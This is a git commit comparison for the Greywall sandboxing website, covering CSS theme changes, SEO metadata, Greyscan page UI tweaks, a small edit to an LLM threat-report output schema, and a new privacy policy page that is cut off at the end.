Compare commits
17 Commits
cf2eb30a04
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b1d0c95232 | ||
|
|
3f7a5e0fc1 | ||
|
|
f4fa328455 | ||
|
|
b2879e1a5e | ||
|
|
14fcaea830 | ||
|
|
b43e4c8ac4 | ||
|
|
a45888a89b | ||
|
|
803c7523a5 | ||
|
|
82e4bf0bda | ||
|
|
7a3fd57314 | ||
|
|
1de053a066 | ||
|
|
1205191348 | ||
|
|
477e7dfb4f | ||
|
|
bc21fa97ad | ||
|
|
0ee456ad58 | ||
|
|
5726d2d210 | ||
|
|
37716003bf |
6
.gitignore
vendored
@@ -5,4 +5,8 @@ out/
|
||||
*.tsbuildinfo
|
||||
next-env.d.ts
|
||||
.vercel
|
||||
.env
|
||||
.env
|
||||
greywall-logo-negative.png
|
||||
greywall-logo-positive.png
|
||||
terminal.png
|
||||
youtube-thumbnail.png
|
||||
@@ -75,7 +75,8 @@ Respond with ONLY valid JSON (no markdown, no code fences, no explanation):
|
||||
"severity": "low" | "medium" | "high" | "critical",
|
||||
"title": "<short, specific title>",
|
||||
"description": "<1-2 sentences: what the agent would do, WHY this repo motivates it (reference specific files/deps), and the real-world damage>",
|
||||
"command": "<the exact command or action>"
|
||||
"command": "<the exact command or action>",
|
||||
"note": "<ONLY for prompt_injection type: a short note explaining that a sandbox doesn't prevent the injection but blocks the resulting actions. Omit this field for all other finding types.>"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
205
app/globals.css
@@ -4,77 +4,64 @@
|
||||
@custom-variant dark (&:is(.dark *));
|
||||
|
||||
:root {
|
||||
--background: 240 240 236;
|
||||
--foreground: 22 22 20;
|
||||
--card: 249 249 247;
|
||||
--card-foreground: 22 22 20;
|
||||
--popover: 249 249 247;
|
||||
--popover-foreground: 22 22 20;
|
||||
--primary: 217 94 42;
|
||||
--primary-foreground: 249 249 247;
|
||||
--secondary: 240 240 236;
|
||||
--secondary-foreground: 47 47 44;
|
||||
--muted: 240 240 236;
|
||||
--muted-foreground: 87 87 83;
|
||||
--accent: 221 221 215;
|
||||
--accent-foreground: 22 22 20;
|
||||
--destructive: 180 50 50;
|
||||
--destructive-foreground: 249 249 247;
|
||||
--border: 196 196 189;
|
||||
--input: 196 196 189;
|
||||
--ring: 217 94 42;
|
||||
--radius: 0.375rem;
|
||||
}
|
||||
|
||||
.dark {
|
||||
--background: 22 22 20;
|
||||
--foreground: 249 249 247;
|
||||
--card: 47 47 44;
|
||||
--card-foreground: 249 249 247;
|
||||
--popover: 47 47 44;
|
||||
--popover-foreground: 249 249 247;
|
||||
--primary: 217 94 42;
|
||||
--primary-foreground: 249 249 247;
|
||||
--secondary: 87 87 83;
|
||||
--secondary-foreground: 249 249 247;
|
||||
--muted: 87 87 83;
|
||||
--muted-foreground: 196 196 189;
|
||||
--accent: 87 87 83;
|
||||
--accent-foreground: 249 249 247;
|
||||
--destructive: 180 50 50;
|
||||
--destructive-foreground: 249 249 247;
|
||||
--border: 87 87 83;
|
||||
--input: 87 87 83;
|
||||
--ring: 217 94 42;
|
||||
--radius: 0.625rem;
|
||||
--background: #F0F0EC;
|
||||
--foreground: #161614;
|
||||
--card: #F9F9F7;
|
||||
--card-foreground: #161614;
|
||||
--popover: #F9F9F7;
|
||||
--popover-foreground: #161614;
|
||||
--primary: #D95E2A;
|
||||
--primary-foreground: #F9F9F7;
|
||||
--secondary: #F0F0EC;
|
||||
--secondary-foreground: #161614;
|
||||
--muted: #F0F0EC;
|
||||
--muted-foreground: #575753;
|
||||
--accent: #DDDDD7;
|
||||
--accent-foreground: #161614;
|
||||
--destructive: #B43232;
|
||||
--destructive-foreground: #F9F9F7;
|
||||
--border: #C4C4BD;
|
||||
--input: #C4C4BD;
|
||||
--ring: #D95E2A;
|
||||
}
|
||||
|
||||
@theme inline {
|
||||
--font-sans: 'Inter', ui-sans-serif, system-ui, sans-serif;
|
||||
--font-serif: 'Source Serif 4', 'Source Serif Pro', Georgia, serif;
|
||||
--color-background: var(--background);
|
||||
--color-foreground: var(--foreground);
|
||||
--color-offwhite: #F9F9F7;
|
||||
--color-orange: #D95E2A;
|
||||
--color-grey-1: #F0F0EC;
|
||||
--color-grey-2: #DDDDD7;
|
||||
--color-grey-3: #C4C4BD;
|
||||
--color-grey-4: #A6A69F;
|
||||
--color-grey-5: #7F7F79;
|
||||
--color-grey-7: #575753;
|
||||
--color-grey-8: #2F2F2C;
|
||||
--color-grey-9: #161614;
|
||||
--font-sans: var(--font-geist-sans);
|
||||
--font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
|
||||
|
||||
--color-background: rgb(var(--background));
|
||||
--color-foreground: rgb(var(--foreground));
|
||||
--color-card: rgb(var(--card));
|
||||
--color-card-foreground: rgb(var(--card-foreground));
|
||||
--color-popover: rgb(var(--popover));
|
||||
--color-popover-foreground: rgb(var(--popover-foreground));
|
||||
--color-primary: rgb(var(--primary));
|
||||
--color-primary-foreground: rgb(var(--primary-foreground));
|
||||
--color-secondary: rgb(var(--secondary));
|
||||
--color-secondary-foreground: rgb(var(--secondary-foreground));
|
||||
--color-muted: rgb(var(--muted));
|
||||
--color-muted-foreground: rgb(var(--muted-foreground));
|
||||
--color-accent: rgb(var(--accent));
|
||||
--color-accent-foreground: rgb(var(--accent-foreground));
|
||||
--color-destructive: rgb(var(--destructive));
|
||||
--color-destructive-foreground: rgb(var(--destructive-foreground));
|
||||
--color-border: rgb(var(--border));
|
||||
--color-input: rgb(var(--input));
|
||||
--color-ring: rgb(var(--ring));
|
||||
--radius-sm: calc(var(--radius) - 2px);
|
||||
--radius-md: var(--radius);
|
||||
--radius-lg: calc(var(--radius) + 2px);
|
||||
--font-serif: var(--font-source-serif-pro);
|
||||
--color-ring: var(--ring);
|
||||
--color-input: var(--input);
|
||||
--color-border: var(--border);
|
||||
--color-destructive: var(--destructive);
|
||||
--color-destructive-foreground: var(--destructive-foreground);
|
||||
--color-accent-foreground: var(--accent-foreground);
|
||||
--color-accent: var(--accent);
|
||||
--color-muted-foreground: var(--muted-foreground);
|
||||
--color-muted: var(--muted);
|
||||
--color-secondary-foreground: var(--secondary-foreground);
|
||||
--color-secondary: var(--secondary);
|
||||
--color-primary-foreground: var(--primary-foreground);
|
||||
--color-primary: var(--primary);
|
||||
--color-popover-foreground: var(--popover-foreground);
|
||||
--color-popover: var(--popover);
|
||||
--color-card-foreground: var(--card-foreground);
|
||||
--color-card: var(--card);
|
||||
--radius-sm: calc(var(--radius) - 4px);
|
||||
--radius-md: calc(var(--radius) - 2px);
|
||||
--radius-lg: var(--radius);
|
||||
--radius-xl: calc(var(--radius) + 4px);
|
||||
|
||||
--color-greyhaven-orange: #D95E2A;
|
||||
@@ -89,6 +76,18 @@
|
||||
--color-greyhaven-grey8: #2F2F2C;
|
||||
}
|
||||
|
||||
* {
|
||||
font-family: var(--font-source-serif-pro), serif, Arial, Helvetica, sans-serif;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: var(--font-source-serif-pro), serif, Arial, Helvetica, sans-serif;
|
||||
width: 100%;
|
||||
overflow-x: visible;
|
||||
background: #DDDDD7;
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
@layer base {
|
||||
* {
|
||||
@apply border-border outline-ring/50;
|
||||
@@ -101,22 +100,46 @@
|
||||
}
|
||||
}
|
||||
|
||||
/* Code block styling */
|
||||
.code-block {
|
||||
background: rgb(30 30 27);
|
||||
border: 1px solid rgb(var(--border));
|
||||
border-radius: var(--radius-lg);
|
||||
.bg-gradient {
|
||||
background: #DDDDD7;
|
||||
}
|
||||
|
||||
/* Subtle glow effect for primary elements */
|
||||
.glow-orange {
|
||||
box-shadow: 0 0 40px rgba(217, 94, 42, 0.08);
|
||||
.title-serif {
|
||||
font-family: var(--font-source-serif-pro), serif, Arial, Helvetica, sans-serif;
|
||||
font-weight: 600;
|
||||
letter-spacing: -2%;
|
||||
}
|
||||
|
||||
.text-serif {
|
||||
font-family: var(--font-source-serif-pro), serif, Arial, Helvetica, sans-serif;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.surface-card {
|
||||
background: rgba(249, 249, 247, 0.92);
|
||||
box-shadow: 0 8px 24px rgba(22, 22, 20, 0.05);
|
||||
}
|
||||
|
||||
/* Code block styling */
|
||||
.code-block {
|
||||
background: rgb(47 47 44);
|
||||
border: 1px solid rgb(87 87 83);
|
||||
border-radius: var(--radius-lg);
|
||||
box-shadow:
|
||||
inset 0 1px 0 rgba(249, 249, 247, 0.04),
|
||||
0 6px 18px rgba(22, 22, 20, 0.06);
|
||||
}
|
||||
|
||||
.code-block,
|
||||
.code-block * {
|
||||
font-family: var(--font-mono);
|
||||
}
|
||||
|
||||
|
||||
/* Terminal prompt styling */
|
||||
.terminal-line::before {
|
||||
content: '$ ';
|
||||
color: rgb(var(--muted-foreground));
|
||||
color: var(--muted-foreground);
|
||||
}
|
||||
|
||||
/* Smooth section transitions */
|
||||
@@ -124,35 +147,21 @@ section {
|
||||
scroll-margin-top: 5rem;
|
||||
}
|
||||
|
||||
/* Custom scrollbar for dark theme */
|
||||
.dark ::-webkit-scrollbar {
|
||||
/* Custom scrollbar */
|
||||
::-webkit-scrollbar {
|
||||
width: 8px;
|
||||
}
|
||||
.dark ::-webkit-scrollbar-track {
|
||||
background: rgb(22 22 20);
|
||||
::-webkit-scrollbar-track {
|
||||
background: rgb(240 240 236);
|
||||
}
|
||||
.dark ::-webkit-scrollbar-thumb {
|
||||
background: rgb(87 87 83);
|
||||
::-webkit-scrollbar-thumb {
|
||||
background: rgb(166 166 159);
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
/* Animated gradient border */
|
||||
@keyframes border-glow {
|
||||
0%, 100% { opacity: 0.3; }
|
||||
50% { opacity: 0.6; }
|
||||
}
|
||||
|
||||
.border-glow {
|
||||
animation: border-glow 3s ease-in-out infinite;
|
||||
}
|
||||
|
||||
/* Layer card hover effect */
|
||||
.layer-card {
|
||||
transition: all 0.3s ease;
|
||||
}
|
||||
.layer-card:hover {
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.2);
|
||||
transition: border-color 0.2s ease;
|
||||
}
|
||||
|
||||
/* Carousel progress bar */
|
||||
@@ -174,7 +183,7 @@ section {
|
||||
}
|
||||
|
||||
.animate-fade-up {
|
||||
animation: fade-up 0.6s ease-out forwards;
|
||||
animation: fade-up 0.45s ease-out forwards;
|
||||
}
|
||||
|
||||
/* Stagger children */
|
||||
|
||||
@@ -2,9 +2,36 @@ import type { Metadata } from 'next'
|
||||
|
||||
export const metadata: Metadata = {
|
||||
title: 'Greyscan | Greywall',
|
||||
description: 'Scan your repo and see what an unrestricted AI agent would attempt. Powered by Greywall.',
|
||||
description: 'Inspect what an unrestricted AI agent would likely try on your machine from a public repository context.',
|
||||
alternates: {
|
||||
canonical: 'https://greywall.io/greyscan',
|
||||
},
|
||||
openGraph: {
|
||||
title: 'Greyscan | Greywall',
|
||||
description: 'Inspect what an unrestricted AI agent would likely try on your machine from a public repository context.',
|
||||
url: 'https://greywall.io/greyscan',
|
||||
siteName: 'Greywall',
|
||||
type: 'website',
|
||||
},
|
||||
}
|
||||
|
||||
const breadcrumbJsonLd = {
|
||||
'@context': 'https://schema.org',
|
||||
'@type': 'BreadcrumbList',
|
||||
itemListElement: [
|
||||
{ '@type': 'ListItem', position: 1, name: 'Greywall', item: 'https://greywall.io' },
|
||||
{ '@type': 'ListItem', position: 2, name: 'Greyscan', item: 'https://greywall.io/greyscan' },
|
||||
],
|
||||
}
|
||||
|
||||
export default function ExposureLayout({ children }: { children: React.ReactNode }) {
|
||||
return children
|
||||
return (
|
||||
<>
|
||||
<script
|
||||
type="application/ld+json"
|
||||
dangerouslySetInnerHTML={{ __html: JSON.stringify(breadcrumbJsonLd) }}
|
||||
/>
|
||||
{children}
|
||||
</>
|
||||
)
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ import {
|
||||
Shield, AlertTriangle, Globe, FolderOpen, Terminal,
|
||||
ArrowLeft, Copy, Check, ArrowRight, Lock, Eye, MessageSquareWarning,
|
||||
} from 'lucide-react'
|
||||
import { GreywallLogo } from '@/components/logo'
|
||||
|
||||
// --- Types ---
|
||||
|
||||
@@ -22,6 +23,7 @@ interface Finding {
|
||||
title: string
|
||||
description: string
|
||||
command: string
|
||||
note?: string
|
||||
}
|
||||
|
||||
interface ThreatReport {
|
||||
@@ -353,23 +355,17 @@ export default function GamePage() {
|
||||
return (
|
||||
<main className="min-h-screen">
|
||||
{/* Nav */}
|
||||
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/80 backdrop-blur-md">
|
||||
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/90 backdrop-blur-md">
|
||||
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
|
||||
<a href="/" className="flex items-center gap-2 text-sm text-muted-foreground hover:text-foreground transition-colors">
|
||||
<ArrowLeft className="h-4 w-4" />
|
||||
<span className="hidden sm:inline">Back to Greywall</span>
|
||||
</a>
|
||||
<div className="flex items-center gap-2.5">
|
||||
<svg viewBox="0 0 32 32" fill="none" className="h-5 w-5" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
||||
</svg>
|
||||
<span className="font-serif font-semibold text-lg tracking-tight">Greyscan</span>
|
||||
<div className="inline-flex items-center gap-3">
|
||||
<GreywallLogo size="small" />
|
||||
<span className="font-sans text-lg font-semibold tracking-[-0.03em] text-foreground">
|
||||
Greyscan
|
||||
</span>
|
||||
</div>
|
||||
<div className="w-20" />
|
||||
</div>
|
||||
@@ -379,7 +375,6 @@ export default function GamePage() {
|
||||
{/* ── INPUT PHASE ── */}
|
||||
{phase === 'input' && (
|
||||
<section className="relative min-h-[calc(100vh-3.5rem)] flex items-center justify-center px-4 sm:px-6">
|
||||
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.06)_0%,transparent_50%)]" />
|
||||
<div
|
||||
className="absolute inset-0 opacity-[0.03]"
|
||||
style={{
|
||||
@@ -390,12 +385,11 @@ export default function GamePage() {
|
||||
|
||||
<div className="relative max-w-2xl w-full text-center animate-fade-up">
|
||||
<h1 className="font-serif text-3xl sm:text-4xl md:text-5xl font-semibold tracking-tight leading-[1.1] mb-4">
|
||||
What would an AI agent{' '}
|
||||
<em className="italic text-primary">try on your machine?</em>
|
||||
What would an unrestricted agent try on your machine?
|
||||
</h1>
|
||||
|
||||
<p className="text-muted-foreground font-serif text-base sm:text-lg leading-relaxed mb-10 max-w-xl mx-auto">
|
||||
AI agents run as you, with access to everything you have. Paste a repo and see what an unrestricted agent could attempt. This is not a security audit, it's a wake-up call.
|
||||
Paste a public repository and Greyscan will estimate the reads, writes, and calls an unrestricted agent would likely attempt from that context. This is an awareness tool, not a security assessment.
|
||||
</p>
|
||||
|
||||
<form
|
||||
@@ -420,7 +414,7 @@ export default function GamePage() {
|
||||
</form>
|
||||
|
||||
<p className="text-xs text-muted-foreground/50 mt-4 font-sans">
|
||||
Public repos only · No code is stored · Powered by <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">Greywall</a>
|
||||
Public repos only · No code is stored · Built on <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">Greywall</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
@@ -446,7 +440,7 @@ export default function GamePage() {
|
||||
<div className="w-3 h-3 rounded-full bg-yellow-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-green-500/70" />
|
||||
<span className="ml-2 text-xs font-mono text-muted-foreground">
|
||||
greywall scan
|
||||
greyscan
|
||||
</span>
|
||||
</div>
|
||||
|
||||
@@ -500,7 +494,7 @@ export default function GamePage() {
|
||||
<section className="px-4 sm:px-6 py-12 sm:py-16">
|
||||
<div className="max-w-2xl mx-auto">
|
||||
{/* Report Card */}
|
||||
<div className="border border-border/30 rounded-xl overflow-hidden bg-card/20 animate-fade-up glow-orange">
|
||||
<div className="border border-border/30 rounded-xl overflow-hidden bg-card/20 animate-fade-up">
|
||||
{/* Header */}
|
||||
<div className="p-6 sm:p-8 border-b border-border/20">
|
||||
<div className="flex items-start justify-between gap-4">
|
||||
@@ -584,11 +578,6 @@ export default function GamePage() {
|
||||
<span className={`text-[10px] font-sans font-medium uppercase tracking-wider ${severityColor(finding.severity)}`}>
|
||||
{finding.severity}
|
||||
</span>
|
||||
{finding.type === 'prompt_injection' && (
|
||||
<span className="text-[10px] font-sans text-muted-foreground/50 uppercase tracking-wider">
|
||||
· sandbox limits damage
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<h3 className="text-sm font-sans font-medium text-foreground mb-1">
|
||||
{finding.title}
|
||||
@@ -599,6 +588,11 @@ export default function GamePage() {
|
||||
<code className="text-[11px] font-mono text-muted-foreground/70 bg-background/50 px-2 py-1 rounded break-all inline-block">
|
||||
{finding.command}
|
||||
</code>
|
||||
{finding.note && (
|
||||
<p className="text-[11px] text-muted-foreground/50 font-sans mt-2 italic">
|
||||
{finding.note}
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -608,14 +602,11 @@ export default function GamePage() {
|
||||
{/* CTA */}
|
||||
<div className="px-6 sm:px-8 py-6 sm:py-8 border-t border-border/20 bg-card/20 text-center">
|
||||
<p className="text-xs text-muted-foreground/50 font-sans mb-4">
|
||||
This is not a security certification. It's a demonstration of what's possible without a sandbox.
|
||||
This is a demonstration, not a security audit.
|
||||
</p>
|
||||
<p className="font-serif text-lg sm:text-xl font-semibold tracking-tight mb-2">
|
||||
<p className="font-serif text-lg sm:text-xl font-semibold tracking-tight mb-5">
|
||||
Greywall blocks this by default.
|
||||
</p>
|
||||
<p className="text-xs text-muted-foreground font-serif mb-5">
|
||||
Container-free sandboxing with real-time observability for AI agents.
|
||||
</p>
|
||||
<a
|
||||
href="https://github.com/GreyhavenHQ/greywall"
|
||||
target="_blank"
|
||||
|
||||
113
app/layout.tsx
@@ -1,18 +1,113 @@
|
||||
import type { Metadata } from 'next'
|
||||
import { Geist } from 'next/font/google'
|
||||
import localFont from 'next/font/local'
|
||||
import './globals.css'
|
||||
|
||||
const geistSans = Geist({
|
||||
variable: '--font-geist-sans',
|
||||
subsets: ['latin'],
|
||||
})
|
||||
|
||||
const sourceSerifPro = localFont({
|
||||
src: [
|
||||
{
|
||||
path: '../public/fonts/Source_Serif_4/SourceSerif4-VariableFont_opsz,wght.ttf',
|
||||
style: 'normal',
|
||||
},
|
||||
{
|
||||
path: '../public/fonts/Source_Serif_4/SourceSerif4-Italic-VariableFont_opsz,wght.ttf',
|
||||
style: 'italic',
|
||||
},
|
||||
],
|
||||
variable: '--font-source-serif-pro',
|
||||
weight: '200 900',
|
||||
display: 'swap',
|
||||
preload: true,
|
||||
})
|
||||
|
||||
export const metadata: Metadata = {
|
||||
title: 'Greywall: Sandbox for AI Agents',
|
||||
metadataBase: new URL('https://greywall.io'),
|
||||
title: 'Greywall | Contained Sandboxing for AI Agents',
|
||||
description:
|
||||
'Container-free, default-deny sandboxing with observability for AI agents. Five layers of defense in one command.',
|
||||
'Default-deny sandboxing with real-time observability for AI agents on Linux and macOS. Filesystem, network, and command boundaries stay under your control.',
|
||||
icons: {
|
||||
icon: [
|
||||
{ url: '/icon.svg', type: 'image/svg+xml' },
|
||||
{ url: '/greyhaven-mark.svg', type: 'image/svg+xml' },
|
||||
{ url: '/icon-dark-32x32.png', sizes: '32x32', type: 'image/png', media: '(prefers-color-scheme: dark)' },
|
||||
{ url: '/icon-light-32x32.png', sizes: '32x32', type: 'image/png', media: '(prefers-color-scheme: light)' },
|
||||
],
|
||||
apple: '/apple-icon.png',
|
||||
},
|
||||
openGraph: {
|
||||
title: 'Greywall | Contained Sandboxing for AI Agents',
|
||||
description: 'Default-deny sandboxing with real-time observability for AI agents on Linux and macOS.',
|
||||
url: 'https://greywall.io',
|
||||
siteName: 'Greywall',
|
||||
type: 'website',
|
||||
images: [{ url: '/og-image.png', width: 1200, height: 630 }],
|
||||
},
|
||||
twitter: {
|
||||
card: 'summary_large_image',
|
||||
title: 'Greywall | Contained Sandboxing for AI Agents',
|
||||
description: 'Default-deny sandboxing with real-time observability for AI agents on Linux and macOS.',
|
||||
images: ['/og-image.png'],
|
||||
},
|
||||
alternates: {
|
||||
canonical: 'https://greywall.io',
|
||||
},
|
||||
}
|
||||
|
||||
const jsonLd = {
|
||||
'@context': 'https://schema.org',
|
||||
'@graph': [
|
||||
{
|
||||
'@type': 'Organization',
|
||||
'@id': 'https://greyhaven.co/#organization',
|
||||
name: 'Greyhaven',
|
||||
url: 'https://greyhaven.co',
|
||||
logo: { '@type': 'ImageObject', url: 'https://greywall.io/greyhaven-mark.svg' },
|
||||
sameAs: ['https://github.com/GreyhavenHQ'],
|
||||
},
|
||||
{
|
||||
'@type': 'WebSite',
|
||||
'@id': 'https://greywall.io/#website',
|
||||
name: 'Greywall',
|
||||
url: 'https://greywall.io',
|
||||
publisher: { '@id': 'https://greyhaven.co/#organization' },
|
||||
},
|
||||
{
|
||||
'@type': 'SoftwareApplication',
|
||||
'@id': 'https://greywall.io/#software',
|
||||
name: 'Greywall',
|
||||
description:
|
||||
'Default-deny sandboxing with real-time observability and dynamic controls for AI agents on Linux and macOS.',
|
||||
applicationCategory: 'SecurityApplication',
|
||||
operatingSystem: 'Linux, macOS',
|
||||
url: 'https://greywall.io',
|
||||
downloadUrl: 'https://github.com/GreyhavenHQ/greywall',
|
||||
license: 'https://opensource.org/licenses/Apache-2.0',
|
||||
offers: { '@type': 'Offer', price: '0', priceCurrency: 'USD' },
|
||||
author: { '@id': 'https://greyhaven.co/#organization' },
|
||||
featureList: [
|
||||
'Filesystem isolation',
|
||||
'Network isolation',
|
||||
'Command blocking',
|
||||
'Real-time violation monitoring',
|
||||
'Learning mode',
|
||||
'Syscall filtering',
|
||||
'Dynamic allow/deny controls',
|
||||
],
|
||||
isAccessibleForFree: true,
|
||||
},
|
||||
{
|
||||
'@type': 'SoftwareSourceCode',
|
||||
name: 'Greywall',
|
||||
codeRepository: 'https://github.com/GreyhavenHQ/greywall',
|
||||
programmingLanguage: 'Go',
|
||||
license: 'https://opensource.org/licenses/Apache-2.0',
|
||||
targetProduct: { '@id': 'https://greywall.io/#software' },
|
||||
},
|
||||
],
|
||||
}
|
||||
|
||||
export default function RootLayout({
|
||||
@@ -21,16 +116,14 @@ export default function RootLayout({
|
||||
children: React.ReactNode
|
||||
}>) {
|
||||
return (
|
||||
<html lang="en" className="dark">
|
||||
<html lang="en">
|
||||
<head>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossOrigin="anonymous" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=Source+Serif+4:ital,opsz,wght@0,8..60,400;0,8..60,500;0,8..60,600;0,8..60,700;1,8..60,400;1,8..60,600;1,8..60,700&display=swap"
|
||||
rel="stylesheet"
|
||||
<script
|
||||
type="application/ld+json"
|
||||
dangerouslySetInnerHTML={{ __html: JSON.stringify(jsonLd) }}
|
||||
/>
|
||||
</head>
|
||||
<body className="font-sans antialiased bg-background text-foreground">
|
||||
<body className={`${geistSans.variable} ${sourceSerifPro.variable} min-h-dvh flex flex-col`}>
|
||||
{children}
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
'use client'
|
||||
|
||||
import { PlatformProvider } from '@/components/platform-toggle'
|
||||
import { Nav } from '@/components/nav'
|
||||
import { Hero } from '@/components/hero'
|
||||
@@ -10,13 +8,15 @@ import { Layers } from '@/components/layers'
|
||||
import { Observability } from '@/components/observability'
|
||||
import { Control } from '@/components/control'
|
||||
import { Comparison } from '@/components/comparison'
|
||||
import { Waitlist } from '@/components/waitlist'
|
||||
import { About } from '@/components/about'
|
||||
import { FAQ } from '@/components/faq'
|
||||
import { Footer } from '@/components/footer'
|
||||
|
||||
export default function Home() {
|
||||
return (
|
||||
<PlatformProvider>
|
||||
<main className="min-h-screen">
|
||||
<main className="bg-gradient min-h-screen">
|
||||
<Nav />
|
||||
<Hero />
|
||||
<Problem />
|
||||
@@ -26,7 +26,9 @@ export default function Home() {
|
||||
<Control />
|
||||
<Comparison />
|
||||
<GettingStarted />
|
||||
<Waitlist />
|
||||
<About />
|
||||
<FAQ />
|
||||
<Footer />
|
||||
</main>
|
||||
</PlatformProvider>
|
||||
|
||||
118
app/privacy/page.tsx
Normal file
@@ -0,0 +1,118 @@
|
||||
import type { Metadata } from 'next'
|
||||
|
||||
export const metadata: Metadata = {
|
||||
title: 'Privacy Policy | Greywall',
|
||||
description: 'How Greywall handles your data.',
|
||||
alternates: {
|
||||
canonical: 'https://greywall.io/privacy',
|
||||
},
|
||||
}
|
||||
|
||||
export default function PrivacyPage() {
|
||||
return (
|
||||
<main className="min-h-screen pt-24 pb-16 px-4 sm:px-6">
|
||||
<article className="mx-auto max-w-2xl">
|
||||
<h1 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-2">
|
||||
Privacy Policy
|
||||
</h1>
|
||||
<p className="text-sm text-muted-foreground font-sans mb-12">
|
||||
Last updated: March 19, 2026
|
||||
</p>
|
||||
|
||||
<div className="space-y-10 text-muted-foreground font-serif text-base leading-relaxed">
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">Greywall (the CLI tool)</h2>
|
||||
<p>
|
||||
Greywall runs entirely on your machine. It does not phone home, collect telemetry,
|
||||
or transmit any data. No analytics, no crash reports, no usage tracking. The source
|
||||
code is open and auditable
|
||||
at <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">github.com/GreyhavenHQ/greywall</a>.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">This website (greywall.io)</h2>
|
||||
<p className="mb-4">
|
||||
The Greywall landing page is a static site hosted on Vercel. We do not use cookies,
|
||||
analytics scripts, or tracking pixels. Vercel may collect minimal server logs
|
||||
(IP address, user agent, timestamp) as part of standard web hosting.
|
||||
See <a href="https://vercel.com/legal/privacy-policy" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">Vercel's privacy policy</a> for
|
||||
details.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">Greyscan</h2>
|
||||
<p className="mb-4">
|
||||
When you use Greyscan at <a href="/greyscan" className="text-primary hover:text-primary/80 transition-colors">/greyscan</a>,
|
||||
the following happens:
|
||||
</p>
|
||||
<ul className="list-disc pl-6 space-y-2">
|
||||
<li>
|
||||
Your browser fetches the public file tree, dependency list, and README from GitHub's
|
||||
API directly. This data never passes through our servers during collection.
|
||||
</li>
|
||||
<li>
|
||||
To generate the threat report, a summary of the repo structure (file names,
|
||||
detected stack, dependency names, and up to 8,000 characters of the README) is
|
||||
sent to our server and forwarded to a third-party LLM provider for analysis.
|
||||
</li>
|
||||
<li>
|
||||
Results are cached in server memory for up to 24 hours to avoid redundant
|
||||
LLM calls for the same repository, then discarded. We do not persist scan
|
||||
results to disk or a database.
|
||||
</li>
|
||||
<li>
|
||||
No repository source code is read or transmitted. Only file paths, dependency
|
||||
names, and the public README are included.
|
||||
</li>
|
||||
</ul>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">Third-party services</h2>
|
||||
<ul className="list-disc pl-6 space-y-2">
|
||||
<li>
|
||||
<span className="text-foreground font-medium">GitHub API</span> — Greyscan
|
||||
calls the GitHub REST API from your browser to fetch public repository metadata.
|
||||
Subject to <a href="https://docs.github.com/en/site-policy/privacy-policies/github-general-privacy-statement" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">GitHub's privacy statement</a>.
|
||||
</li>
|
||||
<li>
|
||||
<span className="text-foreground font-medium">LLM provider</span> — Repo
|
||||
summaries sent through Greyscan are processed by a third-party LLM to generate
|
||||
threat reports. The provider may retain data per their own policies.
|
||||
</li>
|
||||
<li>
|
||||
<span className="text-foreground font-medium">Vercel</span> — Hosting
|
||||
infrastructure. See <a href="https://vercel.com/legal/privacy-policy" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">Vercel's privacy policy</a>.
|
||||
</li>
|
||||
</ul>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">Security</h2>
|
||||
<p>
|
||||
If you discover a security issue in Greywall or this website, please report it
|
||||
